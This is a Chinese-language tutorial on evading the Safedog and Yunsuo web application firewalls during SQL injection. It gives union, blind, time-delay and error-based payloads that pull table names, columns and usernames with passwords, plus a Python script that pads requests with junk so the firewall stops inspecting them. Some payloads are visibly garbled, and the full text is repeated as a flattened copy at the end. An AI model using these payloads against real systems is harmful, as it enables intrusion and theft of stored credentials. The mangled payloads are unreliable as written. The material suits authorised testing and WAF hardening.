waf-bypass学习
字数 1051 2025-08-20 18:17:53

WAF Bypass 技术学习 - 安全狗与云锁绕过详解

安全狗绕过技术

联合注入绕过

版本信息:安全狗 4.0.2655

特殊运算符绕过

  • 使用 | 按位或运算符
  • 使用 - 减号

内联注释技巧

  • 标准格式:/*!版本号 SQL语句*/
  • 版本号必须为5位数字(如11440)
  • 示例:/*!11440select*/ 表示MySQL版本大于11.4.40时执行

注释+换行绕过

  • union select + 注释换行 → 拦截
  • union all select + 注释换行 → 不拦截
  • 区别:union去重,union all不去重

有效Payload示例

?id=-1' union all%23%0a select 1,group_concat(table_name),3 from `information_schema`.`tables` where table_schema='security'--+
?id=-1' union all%23%0a select 1,group_concat(column_name),3 from `information_schema`.columns where table_name='user'--+
?id=-1' union all%23%0a select 1,username,password from `users` limit 1 --+

盲注绕过

IF语句绕过

  • 安全狗过滤 and ifor if
  • 解决方案:在and后添加奇数个特殊符号
    • ~~~(波浪号)
    • !!!(感叹号)
    • ---(减号)

延时注入Payload

?id=1' and~~~if((substr((select hex(user/1,1)>01),sleep/**/(/*!5*/),1)--+

注意:使用~~~时可能出现双倍延时现象

Bool盲注Payload

?id=1' and!!! substr((select unhex(hex(user/**/(/*!*/))),1,1)=r
?id=1' /*!&&*/ substr(unhex(hex(user/2,1)='o'--+

报错注入绕过

Payload示例

?id=1 /*!&&*/ /*!11440updatexml*/(1,concat/**/(0x7e,user/0x7e),1)--+

云锁绕过技术

POST请求绕过

垃圾数据填充原理

  • WAF存在检测长度限制
  • 超过长度后WAF会直接放行请求
  • 防止WAF检测影响业务性能

垃圾数据生成方法(Python)

import random
ls = [chr(i) for i in range(33,125)]
ls.remove("#")  # 防止URL被注释
ls.remove("*")  # 方便使用sqlmap
s = ""
for i in range(10000):
    s = s + random.choice(ls)
print(s)

特殊技巧

  • 在Payload中插入#可能使云锁将后续内容视为注释

GET请求绕过

注意事项

  • GET请求有长度限制
  • 需要平衡垃圾数据量和长度限制

有效Payload

&id=1' and /*!11440updatexml*/(1,concat(0x7e,(/*!11440select*/+group_concat(table_name)/**/from+information_schema.tables+where+table_schema=0x64767761),0x7e),1)--+&Submit=Submit

关键发现

  • 移除部分垃圾数据后仍可绕过
  • 垃圾数据能扰乱云锁的正则规则匹配

通用绕过技巧总结

  1. 注释技巧

    • 使用/*!版本号*/格式
    • 结合换行符%23%0a
    • 避免使用/*!/*!/这种明显格式
  2. 特殊字符

    • 反引号`用于包裹表名/列名
    • 波浪号~、感叹号!等特殊符号干扰
  3. 编码转换

    • 使用hex编码代替字符串(如0x7365637572697479代替'security')
    • 使用unhex(hex())组合
  4. 函数变形

    • 在函数名后添加注释如sleep/**/()
    • 使用内联注释包裹函数名/*!11440updatexml*/
  5. 垃圾数据

    • 填充足够长度的随机字符
    • 避免使用可能影响解析的特殊字符(如#*
  6. 版本特性

    • 利用特定MySQL版本号的注释特性
    • 版本号必须为5位数字

通过综合运用这些技术,可以有效绕过安全狗和云锁等WAF的防护机制,但请注意这些技术仅用于安全研究和授权测试。

WAF Bypass 技术学习 - 安全狗与云锁绕过详解 安全狗绕过技术 联合注入绕过 版本信息 :安全狗 4.0.2655 特殊运算符绕过 : 使用 | 按位或运算符 使用 - 减号 内联注释技巧 : 标准格式: /*!版本号 SQL语句*/ 版本号必须为5位数字(如11440) 示例: /*!11440select*/ 表示MySQL版本大于11.4.40时执行 注释+换行绕过 : union select + 注释换行 → 拦截 union all select + 注释换行 → 不拦截 区别:union去重,union all不去重 有效Payload示例 : 盲注绕过 IF语句绕过 : 安全狗过滤 and if 和 or if 解决方案:在 and 后添加奇数个特殊符号 ~~~ (波浪号) !!! (感叹号) --- (减号) 延时注入Payload : 注意 :使用 ~~~ 时可能出现双倍延时现象 Bool盲注Payload : 报错注入绕过 Payload示例 : 云锁绕过技术 POST请求绕过 垃圾数据填充原理 : WAF存在检测长度限制 超过长度后WAF会直接放行请求 防止WAF检测影响业务性能 垃圾数据生成方法(Python) : 特殊技巧 : 在Payload中插入 # 可能使云锁将后续内容视为注释 GET请求绕过 注意事项 : GET请求有长度限制 需要平衡垃圾数据量和长度限制 有效Payload : 关键发现 : 移除部分垃圾数据后仍可绕过 垃圾数据能扰乱云锁的正则规则匹配 通用绕过技巧总结 注释技巧 : 使用 /*!版本号*/ 格式 结合换行符 %23%0a 避免使用 /*!/*!/ 这种明显格式 特殊字符 : 反引号 ` 用于包裹表名/列名 波浪号 ~ 、感叹号 ! 等特殊符号干扰 编码转换 : 使用hex编码代替字符串(如 0x7365637572697479 代替'security') 使用 unhex(hex()) 组合 函数变形 : 在函数名后添加注释如 sleep/**/() 使用内联注释包裹函数名 /*!11440updatexml*/ 垃圾数据 : 填充足够长度的随机字符 避免使用可能影响解析的特殊字符(如 # 、 * ) 版本特性 : 利用特定MySQL版本号的注释特性 版本号必须为5位数字 通过综合运用这些技术,可以有效绕过安全狗和云锁等WAF的防护机制,但请注意这些技术仅用于安全研究和授权测试。